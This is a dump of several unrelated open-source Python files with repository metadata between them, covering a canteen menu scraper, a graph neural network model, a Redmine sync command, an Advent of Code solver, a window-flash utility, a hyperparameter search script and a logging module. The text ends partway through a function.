enumerate(menu.find_all('ul')): text = [_.text.replace(':','').replace('*','').replace(',\r','').replace('\t','').replace('\n','').replace('\r\r',', ').replace('\r','') for _ in portata.find_all('li')] if i == 0: # Primo mense[name]['pranzo']['primo'] = ', '.join(text) elif i == 1: # Secondo mense[name]['pranzo']['secondo'] = ', '.join(text) elif i == 2: # Contorno mense[name]['pranzo']['contorno'] = ', '.join(text) elif i == 3: # Dolce mense[name]['pranzo']['dessert'] = ', '.join(text) # Menù trovato -> aggiunge la mensa al daily_mensa if name not in self.daily_mensa['completed'] and \ name not in self.daily_mensa['new']: self.daily_mensa['new'].append(name) orari = [['piovego', 'Nord Piovego', 'viale Colombo 1', '11:30', '14:30'], ['agripolis', 'Agripolis', 'viale Università 16, Legnaro', '11:45', '14:30'], ['belzoni', 'Belzoni', 'Via Belzoni, 146', '11:45', '14:30'], ['murialdo', 'Murialdo', 'Via Grassi 42', '11:45', '14:30', '19:15', '20:45'], ['forcellini', 'Forcellini', 'Via Forcellini, 172', '11:45', '14:30'], ['acli', 'Acli - Pio X', 'Via Bonporti 20', '11:30', '14:30', '18:45', '21:00'], ['sanfrancesco', 'San Francesco', 'Via S. Francesco, 122', '', '']] for row in orari: mense[row[0]]['nome'] = row[1] mense[row[0]]['indirizzo'] = row[2] mense[row[0]]['pranzo']['apertura'] = row[3] mense[row[0]]['pranzo']['chiusura'] = row[4] try: mense[row[0]]['cena']['apertura'] = row[5] mense[row[0]]['cena']['chiusura'] = row[6] except: pass with open(self.path + 'mense.json', 'w') as outfile: json.dump(mense, outfile, indent=4) self.update_json() class RepeatedTimer(object): def __init__(self, interval, function): self._timer = None self.interval = interval self.function = function self.is_running = False self.start() def _run(self): self.is_running = False self.start() self.function() def start(self): if not self.is_running: self._timer = Timer(self.interval, self._run) self._timer.start() self.is_running = True def stop(self): self._timer.cancel() self.is_running = False if __name__ == '__main__': from config import supported_languages, captions_path # Used as update script by cron a = Captions(supported_languages, captions_path, quick=False) #print(a.reply_position({'longitude': 11.891931, 'latitude': 45.407387})) #print(a.get_command_handlers('orario')) #print(a.get_command_handlers('sub_commands')) a.update_mense() #print(a.daily_mensa) #print(a.get_reply('acli')) a.stop()

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null

0

null

0

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0

c5e5ea98841b742b1b5604825ff3dfb2155b8ad2

6,211

py

Python

openhgnn/models/HPN.py

BUPTlfq/OpenHGNN

77041e68c33a8a42a2c187c6e42d85b81cbb25d3

[ "Apache-2.0" ]

null

openhgnn/models/HPN.py

BUPTlfq/OpenHGNN

77041e68c33a8a42a2c187c6e42d85b81cbb25d3

[ "Apache-2.0" ]

null

openhgnn/models/HPN.py

BUPTlfq/OpenHGNN

77041e68c33a8a42a2c187c6e42d85b81cbb25d3

[ "Apache-2.0" ]

null

""" This model shows an example of using dgl.metapath_reachable_graph on the original heterogeneous graph. """ import torch import torch.nn as nn import torch.nn.functional as F import numpy as np import dgl from scipy import sparse as sp from . import BaseModel, register_model from dgl.nn.pytorch.conv import APPNPConv @register_model('HPN') class HPN(BaseModel): r""" Description ------------ This model shows an example of using dgl.metapath_reachable_graph on the original heterogeneous graph.HPN from paper 'Heterogeneous Graph Propagation Network <https://ieeexplore.ieee.org/abstract/document/9428609>' The author did not provide codes. So, we complete it according to the implementation of HAN .. math:: \bold Z^\Phi=\mathcal{P}_\Phi(\bold X)=g_\Phi(f_\Phi(\bold X)) \bold H^\Phi=f_\Phi(\bold X)=\sigma(\bold X · \bold W^\Phi+\bold b^\Phi) \mathbf{Z}^{\Phi, k}=g_{\Phi}\left(\mathbf{Z}^{\Phi, k-1}\right)=(1-\gamma) \cdot \mathbf{M}^{\Phi} \cdot \mathbf{Z}^{\Phi, k-1}+\gamma \cdot \mathbf{H}^{\Phi} w_{\Phi_{p}}=\frac{1}{|\mathcal{V}|} \sum_{i \in \mathcal{V}} \mathbf{q}^{\mathrm{T}} \cdot \tanh \left(\mathbf{W} \cdot \mathbf{z}_{i}^{\Phi_{p}}+\mathbf{b}\right) \mathbf{Z}=\sum_{p=1}^{P} \beta_{\Phi_{p}} \cdot \mathbf{Z}^{\Phi_{p}} Parameters ------------ meta_paths : list contain multiple meta-paths. category : str The category means the head and tail node of metapaths. in_size : int input feature dimension. out_size : int out dimension. dropout : float Dropout probability. out_embedsizes : int Dimension of the final embedding Z k_layer : int propagation times :math:'K'. alpha : float Value of restart probability :math:'\alpha'. edge_drop : float, optional The dropout rate on edges that controls the messages received by each node. Default: ``0``. """ @classmethod def build_model_from_args(cls, args, hg): etypes = hg.canonical_etypes mps = [] for etype in etypes: if etype[0] == args.category: for dst_e in etypes: if etype[0] == dst_e[2] and etype[2] == dst_e[0]: mps.append([etype, dst_e]) return cls(meta_paths=mps, category=args.category, in_size=args.hidden_dim, out_size=args.out_dim, dropout=args.dropout, out_embedsize=args.out_embedsize, k_layer=args.k_layer, alpha=args.alpha, edge_drop=args.edge_drop ) def __init__(self, meta_paths, category, in_size, out_size, dropout, out_embedsize, k_layer, alpha, edge_drop): super(HPN, self).__init__() self.category = category self.layers = nn.ModuleList() self.layers.append(HPNLayer(meta_paths, in_size, dropout, k_layer, alpha, edge_drop, out_embedsize)) self.linear = nn.Linear(out_embedsize, out_size) def forward(self, g, h_dict): h = h_dict[self.category] for gnn in self.layers: h = gnn(g, h) return {self.category: self.linear(h)} class SemanticFusion(nn.Module): def __init__(self, in_size=64, hidden_size=128): super(SemanticFusion, self).__init__() self.project = nn.Sequential( nn.Linear(in_size, hidden_size), nn.Tanh(), nn.Linear(hidden_size, 1, bias=False) ) def forward(self, z): w = self.project(z).mean(0) beta = torch.softmax(w, dim=0) beta = beta.expand((z.shape[0],) + beta.shape) return (beta * z).sum(1) class HPNLayer(nn.Module): """ HPN layer. Arguments --------- meta_paths : list of metapaths, each as a list of edge types in_size : input feature dimension dropout : Dropout probability k_layer : propagation times alpha : Value of restart probability edge_drop : the dropout rate on edges that controls the messages received by each node out_embedsize : Dimension of the final embedding Z Inputs ------ g : DGLHeteroGraph The heterogeneous graph h : tensor Input features Outputs ------- tensor The output feature """ def __init__(self, meta_paths, in_size, dropout,k_layer, alpha, edge_drop, out_embedsize): super(HPNLayer, self).__init__() # semantic projection function fΦ projects node into semantic space self.hidden = nn.Sequential( #nn.Linear(in_features=in_size, out_features=out_embedsize, bias=True), nn.ReLU() ) # One Propagation layer for each meta path self.propagation_layers = nn.ModuleList() for i in range(len(meta_paths)): self.propagation_layers.append(APPNPConv(k_layer, alpha, edge_drop)) self.semantic_fusion = SemanticFusion() self.meta_paths = list(tuple(meta_path) for meta_path in meta_paths) self._cached_graph = None self._cached_coalesced_graph = {} def forward(self, g, h): r""" Parameters ----------- g : DGLHeteroGraph The heterogeneous graph h : tensor The input features Returns -------- h : tensor The output features """ semantic_embeddings = [] h = self.hidden(h) if self._cached_graph is None or self._cached_graph is not g: self._cached_graph = g self._cached_coalesced_graph.clear() for meta_path in self.meta_paths: self._cached_coalesced_graph[meta_path] = dgl.metapath_reachable_graph( g, meta_path) for i, meta_path in enumerate(self.meta_paths): new_g = self._cached_coalesced_graph[meta_path] semantic_embeddings.append(self.propagation_layers[i](new_g, h).flatten(1)) semantic_embeddings = torch.stack(semantic_embeddings, dim=1) return self.semantic_fusion(semantic_embeddings)

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null

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null

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0

c5e726c942c514e6fc040b888b81d139effa2457

1,455

py

Python

rllib/environment/systems/gaussian_system.py

shenao-zhang/DCPU

0da9aa2b7878b54ba4ee4dca894c2e86cdc0d559

[ "MIT" ]

8

2020-10-23T07:52:19.000Z

2022-03-06T13:35:12.000Z

rllib/environment/systems/gaussian_system.py

shenao-zhang/DCPU

0da9aa2b7878b54ba4ee4dca894c2e86cdc0d559

[ "MIT" ]

3

2021-03-04T13:44:01.000Z

2021-03-23T09:57:50.000Z

rllib/environment/systems/gaussian_system.py

shenao-zhang/DCPU

0da9aa2b7878b54ba4ee4dca894c2e86cdc0d559

[ "MIT" ]

3

2021-03-18T08:23:56.000Z

2021-07-06T11:20:12.000Z

"""Implementation of a System with Gaussian transition and measurement noise.""" import numpy as np from .abstract_system import AbstractSystem class GaussianNoiseSystem(AbstractSystem): """Modify a system with gaussian transition and measurement noise. Parameters ---------- system: AbstractSystem transition_noise_scale: float measurement_noise_scale: float, optional """ def __init__(self, system, transition_noise_scale, measurement_noise_scale=0): super().__init__( dim_state=system.dim_state, dim_action=system.dim_action, dim_observation=system.dim_observation, ) self._system = system self._transition_noise_scale = transition_noise_scale self._measurement_noise_scale = measurement_noise_scale def step(self, action): """See `AbstractSystem.step'.""" next_state = self._system.step(action) next_state += self._transition_noise_scale * np.random.randn(self.dim_state) return next_state def reset(self, state): """See `AbstractSystem.reset'.""" return self._system.reset(state) @property def state(self): """See `AbstractSystem.state'.""" state = self._system.state state += self._measurement_noise_scale * np.random.randn(self.dim_state) return state @state.setter def state(self, value): self._system.state = value

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0.674914

162

1,455

5.759259

0.265432

0.107181

0.040729

0.257235

0.190782

0.087889

0

0.000891

0.228866

1,455

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0.423077

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null

0

null

0

1

0

c5ec84ef8dd62cb492046d2371c97d2fa37e8b51

1,013

py

Python

apps/tasker/management/commands/sync_all.py

hugoseabra/redmine-task-generator

b5ce1764f1c7588a7c82b25f7dd4bf07d1c105cf

[ "MIT" ]

null

apps/tasker/management/commands/sync_all.py

hugoseabra/redmine-task-generator

b5ce1764f1c7588a7c82b25f7dd4bf07d1c105cf

[ "MIT" ]

4

2021-03-30T14:04:56.000Z

2021-06-10T19:40:52.000Z

apps/tasker/management/commands/sync_all.py

hugoseabra/redmine-task-generator

b5ce1764f1c7588a7c82b25f7dd4bf07d1c105cf

[ "MIT" ]

null

from django.core.management import call_command from django.core.management.base import BaseCommand from core.cli.mixins import CliInteractionMixin from redmine import Redmine class Command(BaseCommand, CliInteractionMixin): help = "Syncronizes all data to Redmine instance." def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.redmine = Redmine() def handle(self, *args, **options): print() self.stdout.write('VALIDATING REDMINE INSTANCE') print() if self.redmine.instance_valid() is False: self.stderr.write(self.style.ERROR('Errors:')) for e in self.redmine.instance_errors(): self.stderr.write(self.style.ERROR(f'- {e}')) self.exit() call_command('sync_trackers') call_command('sync_score_field') call_command('sync_projects') call_command('sync_categories') call_command('sync_versions') call_command('sync_issues')

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0.65844

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5.543103

0.456897

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0.139969

0.07465

0.090202

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0.228036

1,013

32

62

31.65625

0.822251

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0.083333

0

0.158934

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1

0.083333

false

0

0.166667

0

0.333333

0.083333

0

null

0

null

0

1

0

c5ee4c60b25530e2b119645f9ed429a666be7ec0

1,550

py

Python

2021/17/solve.py

lamperi/aoc

1781dcbac0be18a086c10a9b76fb6a2d3595523c

[ "MIT" ]

null

2021/17/solve.py

lamperi/aoc

1781dcbac0be18a086c10a9b76fb6a2d3595523c

[ "MIT" ]

null

2021/17/solve.py

lamperi/aoc

1781dcbac0be18a086c10a9b76fb6a2d3595523c

[ "MIT" ]

null

from io import TextIOBase import os.path import operator from itertools import combinations, permutations from functools import reduce, partial from math import prod from collections import Counter INPUT=os.path.join(os.path.dirname(__file__), "input.txt") with open(INPUT) as f: data = f.read() test="""target area: x=20..30, y=-10..-5""" def part12(data): l = data.split() x=l[2] y=l[3] min_x, max_x = list(map(int, x.split("=")[1].split(",")[0].split(".."))) min_y, max_y = list(map(int, y.split("=")[1].split(".."))) highest_y=0 matches=set() # vy is limited so that: # - smaller one would make shot go past on first step # - larger one would make shot go past on first step after it comes back from high point # vx in limited so that larger one would make shot go past on first step for vy in range(min_y,-min_y): for vx in range(max_x+1): s=(0,0) v=(vy,vx) ymax=0 hit=False for t in range(500000): s = (s[0]+v[0], s[1]+v[1]) ymax = max((ymax, s[0])) v=(v[0]-1, max(0, v[1]-1)) if min_x <= s[1] <= max_x and min_y <= s[0] <= max_y: hit=True break elif s[0] < min_y or s[1] > max_x: break if hit: matches.add((vy,vx)) highest_y = max((highest_y, ymax)) return f"{highest_y} {len(matches)}" print(part12(test)) print(part12(data))

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92

0.540645

247

1,550

3.307692

0.388664

0.02448

0.044064

0.058752

0.135863

0.095471

0

0.040528

0.315484

1,550

51

93

30.392157

0.7295

0.149677

0

0.05

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0.056445

0

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0.025

false

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0.225

0.05

0

null

0

null

0

1

0

c5f161e953bf4e647b2dba3274549ebc84e9aa60

1,665

py

Python

setup.py

bintoro/schematics

6eb68dbecd09fa695a867a493d692d1befc039f2

[ "BSD-3-Clause" ]

null

setup.py

bintoro/schematics

6eb68dbecd09fa695a867a493d692d1befc039f2

[ "BSD-3-Clause" ]

null

setup.py

bintoro/schematics

6eb68dbecd09fa695a867a493d692d1befc039f2

[ "BSD-3-Clause" ]

null

#!/usr/bin/env python # -*- coding: utf-8 -*- import os import sys from setuptools import setup from setuptools.command.test import test as TestCommand from schematics import __version__ class Tox(TestCommand): def finalize_options(self): TestCommand.finalize_options(self) self.test_args = ['--recreate'] self.test_suite = True def run_tests(self): # import here, cause outside the eggs aren't loaded import tox errno = tox.cmdline(self.test_args) sys.exit(errno) tests_require = open( os.path.join(os.path.dirname(__file__), 'requirements.txt')).read().split() setup( name='schematics', license='BSD', version=__version__, description='Structured Data for Humans', author=u'James Dennis, Jökull Sólberg, Jóhann Þorvaldur Bergþórsson', author_email='jdennis@gmail.com, jokull@plainvanillagames.com, johann@plainvanillagames.com', url='http://github.com/schematics/schematics', packages=['schematics', 'schematics.types', 'schematics.contrib'], classifiers=[ 'Environment :: Other Environment', 'Intended Audience :: Developers', 'License :: Other/Proprietary License', 'Operating System :: POSIX', 'Programming Language :: Python', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', ], cmdclass={ 'test': Tox, }, install_requires=[ 'six>=1.7.3', ], tests_require=tests_require, )

29.210526

97

0.645045

182

1,665

5.774725

0.571429

0.108468

0.142721

0.074215

0.05138

0

0.010062

0.224024

1,665

56

98

29.732143

0.803406

0.055255

0

0.044444

0

0.403822

0.036306

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0.044444

false

0

0.133333

0

0.2

0

null

0

null

0

1

0

c5f208e8fafb3683bef084c028636aeac944b3df

4,562

py

Python

flashfocus/flasher.py

Airblader/flashfocus

1a04e5c68a0a9ee44e0fa6454b6addeb4ba3cb68

[ "MIT" ]

4

2018-06-26T17:48:49.000Z

2020-06-11T11:39:15.000Z

flashfocus/flasher.py

Airblader/flashfocus

1a04e5c68a0a9ee44e0fa6454b6addeb4ba3cb68

[ "MIT" ]

null

flashfocus/flasher.py

Airblader/flashfocus

1a04e5c68a0a9ee44e0fa6454b6addeb4ba3cb68

[ "MIT" ]

1

2019-03-07T03:50:07.000Z

"""Monitor focus and flash windows.""" from __future__ import division from threading import Thread import os import logging from logging import info as log from time import sleep from xcffib.xproto import WindowError import flashfocus.xutil as xutil class Flasher: """Main flashfocus class. Waits for focused window to change then flashes it. Parameters ---------- flash_opacity: float Flash opacity as a decimal between 0 and 1 time: float Flash interval in seconds ntimepoints: int Number of timepoints in the flash animation. Higher values will lead to smoother animations at the cost of increased X server requests. Ignored if simple is True. simple: bool If True, don't animate flashes. Setting this parameter improves performance but causes rougher opacity transitions. """ def __init__(self, flash_opacity, time, ntimepoints, simple): self.flash_opacity = flash_opacity self.time = time self.simple = simple if simple: self.ntimepoints = 1 self.timechunk = time else: self.ntimepoints = ntimepoints self.timechunk = time / self.ntimepoints self.flash_series_hash = {} self.locked_windows = set() def compute_flash_series(self, current_opacity): """Calculate the series of opacity values for the flash animation. Given the opacity of a window before a flash, and the flash opacity, this method calculates a smooth series of intermediate opacity values. Results of the calculation are hashed to speed up later flashes. """ if not current_opacity: current_opacity = 1 try: return self.flash_series_hash[current_opacity] except KeyError: log('Computing flash series for opacity = %s', current_opacity) opacity_diff = current_opacity - self.flash_opacity flash_series = [self.flash_opacity + ((x / self.ntimepoints) * opacity_diff) for x in range(self.ntimepoints)] log('Computed flash series = %s', flash_series) self.flash_series_hash[current_opacity] = flash_series return flash_series def flash_window(self, window): """Briefly change the opacity of a Xorg window.""" log('Flashing window %s', str(window)) try: pre_flash_opacity = xutil.request_opacity(window).unpack() log('Current opacity = %s', str(pre_flash_opacity)) log('Beginning flash animation...') flash_series = self.compute_flash_series(pre_flash_opacity) for opacity in flash_series: xutil.set_opacity(window, opacity) sleep(self.timechunk) log('Resetting opacity to default') if pre_flash_opacity: xutil.set_opacity(window, pre_flash_opacity) else: xutil.delete_opacity(window) except WindowError: log('Attempted to flash a nonexistant window %s, ignoring...', str(window)) log('Unlocking window %s', window) self.locked_windows.discard(window) def monitor_focus(self): """Wait for changes in focus and flash windows.""" xutil.start_watching_properties(xutil.ROOT_WINDOW) # We keep track of the previously focused window so that the same window # is never flashed twice in a row. On i3 when a window is closed, the # next window is flashed three times without this guard. prev_focus = None focused = None while True: xutil.wait_for_focus_shift() prev_focus = focused focused = xutil.request_focus().unpack() log('Focus shifted to window %s', focused) if focused not in self.locked_windows and focused != prev_focus: # Further flash requests are ignored for the window until the # thread completes. log('Locking window %s', focused) self.locked_windows.add(focused) p = Thread(target=self.flash_window, args=[focused]) p.daemon = True p.start() elif focused == prev_focus: log("Window %s was just flashed, ignoring...", focused) elif focused in self.locked_windows: log("Window %s is locked, ignoring...", focused)

36.790323

80

0.619904

539

4,562

5.113173

0.328386

0.056604

0.030842

0.020682

0.023948

0

0.00159

0.310609

4,562

123

81

37.089431

0.874722

0.2637

0

0.054054

0

0.107297

0

1

0.054054

false

0

0.108108

0

0.202703

0

null

0

null

0

1

0

c5f5eb2e3a25f04de70d6baa6fe5677c9db2ce33

1,055

py

Python

1201-1300/1226-The Dining Philosophers/1226-The Dining Philosophers.py

jiadaizhao/LeetCode

4ddea0a532fe7c5d053ffbd6870174ec99fc2d60

[ "MIT" ]

49

2018-05-05T02:53:10.000Z

2022-03-30T12:08:09.000Z

1201-1300/1226-The Dining Philosophers/1226-The Dining Philosophers.py

jolly-fellow/LeetCode

ab20b3ec137ed05fad1edda1c30db04ab355486f

[ "MIT" ]

11

2017-12-15T22:31:44.000Z

2020-10-02T12:42:49.000Z

1201-1300/1226-The Dining Philosophers/1226-The Dining Philosophers.py

jolly-fellow/LeetCode

ab20b3ec137ed05fad1edda1c30db04ab355486f

[ "MIT" ]

28

2017-12-05T10:56:51.000Z

2022-01-26T18:18:27.000Z

from threading import Semaphore, Lock class DiningPhilosophers: def __init__(self): self.sem = Semaphore(4) self.locks = [Lock() for _ in range(5)] def pickFork(self, id, fun): self.locks[id].acquire() fun() def putFork(self, id, fun): fun() self.locks[id].release() # call the functions directly to execute, for example, eat() def wantsToEat(self, philosopher: int, pickLeftFork: 'Callable[[], None]', pickRightFork: 'Callable[[], None]', eat: 'Callable[[], None]', putLeftFork: 'Callable[[], None]', putRightFork: 'Callable[[], None]') -> None: left = philosopher right = (philosopher + 4) % 5 self.sem.acquire() self.pickFork(left, pickLeftFork) self.pickFork(right, pickRightFork) eat() self.putFork(right, putRightFork) self.putFork(left, putLeftFork) self.sem.release()

31.029412

64

0.531754

100

1,055

5.56

0.42

0.107914

0.032374

0.05036

0

0.005772

0.343128

1,055

33

65

31.969697

0.796537

0.054976

0

0.074074

0

0.090452

0

1

0.148148

false

0

0.037037

0

0.222222

0

null

0

null

0

1

0

c5f7607972db8587d9fae4b2354ebcbe801fb37b

4,151

py

Python

ML/gtsdb/semantic_seg.py

PepSalehi/algorithms

1c20f57185e6324aa840ccff98e69764b4213131

[ "MIT" ]

null

ML/gtsdb/semantic_seg.py

PepSalehi/algorithms

1c20f57185e6324aa840ccff98e69764b4213131

[ "MIT" ]

null

ML/gtsdb/semantic_seg.py

PepSalehi/algorithms

1c20f57185e6324aa840ccff98e69764b4213131

[ "MIT" ]

1

2019-12-09T21:40:46.000Z

#!/usr/bin/env python """Semantic Segmentation experiment.""" from keras.models import load_model from keras.models import Model from keras.layers import UpSampling2D import scipy.misc import numpy as np from PIL import Image import logging import sys logging.basicConfig(format='%(asctime)s %(levelname)s %(message)s', level=logging.DEBUG, stream=sys.stdout) def scale_array(x, new_size): """ Scale a numpy array. Parameters ---------- x : numpy array new_size : tuple Returns ------- scaled array """ min_el = np.min(x) max_el = np.max(x) y = scipy.misc.imresize(x, new_size, mode='L', interp='nearest') y = y / 255.0 * (max_el - min_el) + min_el return y def get_overlay_name(segmentation_name): splitted = segmentation_name.split('.') splitted[-2] = splitted[-2] + '-overlay' output_path = '.'.join(splitted) return output_path def overlay_images(original_image, segmentation_image, hard_classification=True): """ Overlay original_image with segmentation_image. store the result with the same name as segmentation_image, but with `-overlay`. Parameters ---------- original_image : string Path to an image file segmentation_image : string Path to the an image file of the same size as original_image hard_classification : bool If True, the image will only show either street or no street. If False, the image will show probabilities. """ background = Image.open(original_image) overlay = Image.open(segmentation_image) overlay = overlay.convert('RGB') # Replace colors of segmentation to make it easier to see street_color = (255, 255, 255) width, height = overlay.size pix = overlay.load() pixels_debug = list(overlay.getdata()) logging.info('%i colors in classification (min=%s, max=%s)', len(list(set(pixels_debug))), min(pixels_debug), max(pixels_debug)) for x in range(0, width): for y in range(0, height): if not hard_classification: overlay.putpixel((x, y), (0, pix[x, y][0], 0)) else: if pix[x, y] == street_color: overlay.putpixel((x, y), (0, 255, 0)) else: overlay.putpixel((x, y), (0, 0, 0)) background = background.convert('RGBA') overlay = overlay.convert('RGBA') new_img = Image.blend(background, overlay, 0.5) # get new name output_path = get_overlay_name(segmentation_image) new_img.save(output_path, 'PNG') model = load_model("gtsdb-fully.h5") # model.layers.pop() # Get rid of the classification layer softmax # model.layers.pop() # Get rid of the classification layer softmax # model.outputs = [model.layers[-1].output] # model.output_layers = [model.layers[-1]] # added this line in addition to zo7 solution # model.layers[-1].outbound_nodes = [] # model.summary() # Get input # new_input = model.input # new_input.input_shape = (1, None, None, 3) # # Find the layer to connect # # hidden_layer = model.layers[-1].output # # # Connect a new layer on it # # new_output = Dense(2)(hidden_layer) # # Build a new model # model2 = Model(new_input, hidden_layer) model.add(UpSampling2D((2, 2))) # Deconvolution2D model.add(UpSampling2D((2, 2))) # Deconvolution2D - (333, 193) model.compile(loss='categorical_crossentropy', optimizer='adam', metrics=["accuracy"]) model.summary() original_image = "00072.ppm" img = scipy.misc.imread(original_image) img = np.array(img, dtype=np.float32) img /= 255.0 # scipy.misc.imshow(img) img_shape = img.shape[:2] img = img.reshape([1] + list(img.shape)) pred = model.predict(img) pred = pred[0].transpose((2, 1, 0)) for i, layer in enumerate(pred): print(layer.shape) layer = scale_array(layer, img_shape) segmentation_fname = 'segmentations/{}.png'.format(i) scipy.misc.imsave(segmentation_fname, layer) overlay_images(original_image, segmentation_fname)

29.863309

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0.119569

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0

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4,151

138

90

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0

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0.042254

false

0

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0

0.183099

0.014085

0

null

0

null

0

1

0

c5f9b4599ddcdfb832a2be6e8ad579044c33aff5

7,052

py

Python

core/hyperparameter_search.py

vishal-keshav/style_transfer

683a43c39ee8740c9172d2653a112a91a4db8750

[ "MIT" ]

null

core/hyperparameter_search.py

vishal-keshav/style_transfer

683a43c39ee8740c9172d2653a112a91a4db8750

[ "MIT" ]

null

core/hyperparameter_search.py

vishal-keshav/style_transfer

683a43c39ee8740c9172d2653a112a91a4db8750

[ "MIT" ]

null

""" Hyper-parameter search based on basian optimizers (Gaussin process) scikit learn library skopt is implements the optimizer. We build on top of it, the easy to execute hyper-parameter setting before we star the full-blown training. """ import skopt from skopt import gp_minimize, forest_minimize from skopt.space import Real, Categorical, Integer from skopt.plots import plot_convergence from skopt.plots import plot_objective, plot_evaluations #from skopt.plots import plot_histogram, plot_objective_2D from skopt.utils import use_named_args import matplotlib.pyplot as plt import tensorflow as tf import numpy as np import math import os import sys import importlib def get_hyper_parameters(version, project_path, get_param_space = True): import hyperparameter.hyperparameter as hp hp_obj = hp.HyperParameters(version, project_path) param_dict = hp_obj.get_params() if get_param_space: param_dict_space = hp_obj.get_param_space() return param_dict, param_dict_space else: return param_dict def set_hyper_parameter(version, project_path, dict): import hyperparameter.hyperparameter as hp hp_obj = hp.HyperParameters(version, project_path) for key, value in dict.items(): hp_obj.set_parameter(key, value) hp_obj.dump_parameter() default_param_name = [] default_param_value = [] space_dimensions = [] args = None def sanity_check(param_dict, param_dict_space): global default_param_name global default_param_value global space_dimensions for key, value in param_dict.items(): if key in param_dict_space.keys(): default_param_name.append(key) default_param_value.append(value) param_space = param_dict_space[key] if param_space["type"] == "Int": temp_skopt_var = Integer(low=param_space["low"], high=param_space["high"], name=str(key)) elif param_space["type"] == "Real": temp_skopt_var = Real(low=param_space["low"], high=param_space["high"], prior=param_space["prior"], name=str(key)) else: temp_skopt_var = Categorical(categories=param_space["catagories"], name=str(key)) space_dimensions.append(temp_skopt_var) else: print(key + " has no space defined in param_space") return #TODO create a dataprovider that works on a sample of data def get_data_provider(dataset, project_path, param_dict): data_provider_module_path = "dataset." + dataset + ".data_provider" data_provider_module = importlib.import_module(data_provider_module_path) dp_obj = data_provider_module.get_obj(project_path) with tf.name_scope('input'): img_batch = tf.placeholder(tf.float32, [None, 28, 28, 1]) with tf.name_scope('output'): label_batch = tf.placeholder(tf.int64, [None, 10]) return img_batch, label_batch, dp_obj def get_model(version, inputs, param_dict): model_module_path = "architecture.version" + str(version) + ".model" model_module = importlib.import_module(model_module_path) model = model_module.create_model(inputs, param_dict) return model def optimisation(label_batch, logits, param_dict): with tf.name_scope('loss'): loss_op = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits( labels=label_batch, logits=logits)) tf.summary.scalar('loss', loss_op) with tf.name_scope('gradient_optimisation'): gradient_optimizer_op = tf.train.AdamOptimizer(param_dict['learning_rate']) gd_opt_op = gradient_optimizer_op.minimize(loss_op) return loss_op, gd_opt_op def accuracy(predictions, labels): with tf.name_scope('accuracy'): correct_prediction = tf.equal(tf.argmax(predictions, 1), tf.argmax(labels,1)) accuracy = 100*tf.reduce_mean(tf.cast(correct_prediction, tf.float32)) tf.summary.scalar('accuracy', accuracy) return accuracy def mk_dir(path): if not os.path.isdir(path): os.mkdir(path) def log_file_suffix(params): file_suffix = "" for elem in params: file_suffix = file_suffix + "_" + str(elem) return file_suffix def fitness(param_space_values): # Here we re-create the param dictionary project_path = os.getcwd() param_dict = {} for i in range(len(param_space_values)): param_dict[default_param_name[i]] = param_space_values[i] # Rest of the parameter lies in param.txt param_dict_original = get_hyper_parameters(args.param, project_path, False) for key, value in param_dict_original.items(): if key not in param_dict.keys(): param_dict[key] = value ########### param_dict creation complete ################ # Define the data provider module img_batch, label_batch, dp = get_data_provider(args.dataset, project_path, param_dict) dp.set_batch(param_dict['BATCH_SIZE']) # Construct a model to be trained model = get_model(args.model, img_batch, param_dict) # Define optimization procedure logits = model['feature_logits'] output_probability = model['feature_out'] loss_op, gd_opt_op = optimisation(label_batch, logits, param_dict) # Define accuracy operation accuracy_op = accuracy(output_probability, label_batch) # Merge all summaries summary_op = tf.summary.merge_all() summary_path = project_path + "/debug/opt_" + str(args.model) + \ "_" + str(args.param) + "_" + args.dataset # Start a session with tf.Session() as sess: train_writer = tf.summary.FileWriter(summary_path + '/' + log_file_suffix(param_space_values), sess.graph) sess.run(tf.global_variables_initializer()) for nr_epochs in range(param_dict['NUM_EPOCHS']): for i in range(5): img_batch_data, label_batch_data = dp.next() feed_dict = {img_batch: img_batch_data, label_batch: label_batch_data} _, out, loss, accu, summary = sess.run([gd_opt_op,output_probability,loss_op, accuracy_op, summary_op], feed_dict = feed_dict) train_writer.add_summary(summary, nr_epochs*10 + i) train_writer.close() tf.reset_default_graph() print(accu) return -accu def execute(arguments): global args args = arguments project_path = os.getcwd() param_dict, param_dict_space = get_hyper_parameters(args.param, project_path) sanity_check(param_dict, param_dict_space) if not default_param_name: print("Fix your param, exiting") sys.exit() search_result = gp_minimize(func=fitness, dimensions=space_dimensions, acq_func='EI', n_calls=20, x0=default_param_value) print("Best parameters has been searched") best_results = search_result.x param_dict_opt = param_dict for i in range(len(default_param_name)): param_dict_opt[default_param_name[i]] = best_results[i] set_hyper_parameter(args.param, project_path, param_dict_opt)

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null

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0

c5fadfef73f91b4b1d12fd13f34f96e38ed68ff7

2,105

py

Python

mop/vendor/node_calculator/logger.py

HolisticCoders/mop

dc464021c7e69975fa9fcc06595cc91113768e5e

[ "MIT" ]

8

2019-09-21T07:17:54.000Z

2022-02-09T03:33:24.000Z

mop/vendor/node_calculator/logger.py

ProjectBorealis/master-of-puppets

dc464021c7e69975fa9fcc06595cc91113768e5e

[ "MIT" ]

102

2019-01-10T21:00:28.000Z

2019-03-28T11:32:45.000Z

mop/vendor/node_calculator/logger.py

HolisticCoders/mop

dc464021c7e69975fa9fcc06595cc91113768e5e

[ "MIT" ]

3

2020-01-12T01:37:34.000Z

2021-10-08T11:34:08.000Z

"""Module for logging. :author: Mischa Kolbe <mik@dneg.com> :credits: Steven Bills, Mischa Kolbe """ import logging import logging.handlers log = logging.getLogger(__name__) # Make sure logs don't propagate through to __main__ logger, too # This might be a Maya-issue. I don't think this should be necessary! log.propagate = False FORMAT_STR = "%(asctime)s - %(name)s - %(levelname)s - %(message)s" FORMATTER = logging.Formatter(FORMAT_STR, "%m/%d/%Y %H:%M:%S") class NullHandler(logging.Handler): """Basic custom logging handler.""" def emit(self, record): pass def clear_handlers(): """Reset handlers of logger. Note: This prevents creating multiple handler copies when using reload(logger). """ log.handlers = [] null_handler = NullHandler() log.addHandler(null_handler) def setup_stream_handler(level=logging.INFO): """Create a stream handler for logging. Note: Logging levels are: DEBUG, INFO, WARN, ERROR, CRITICAL Args: level (int): Desired logging level. Default is logging.INFO. """ strmh = logging.StreamHandler() strmh.setFormatter(FORMATTER) strmh.setLevel(level) log.addHandler(strmh) if log.getEffectiveLevel() > level: log.setLevel(level) def setup_file_handler(file_path, max_bytes=100 << 20, level=logging.INFO): 